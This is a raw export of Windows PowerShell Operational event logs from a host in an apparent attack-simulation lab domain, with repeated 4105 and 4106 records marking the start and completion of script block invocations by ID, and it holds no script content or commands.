Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040464
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040463
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040462
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040461
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040460
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040459
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040458
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040457
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040456
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040455
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040454
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040453
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040452
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040451
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040450
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040449
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040448
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040447
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040446
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040445
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040444
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040443
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040442
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040441
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040440
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040439
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040438
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040437
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040436
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040435
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040434
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040433
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040432
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040431
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040430
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040429
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040428
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040427
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040426
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040425
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040424
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040423
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040422
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040421
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040420
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040419
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040418
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
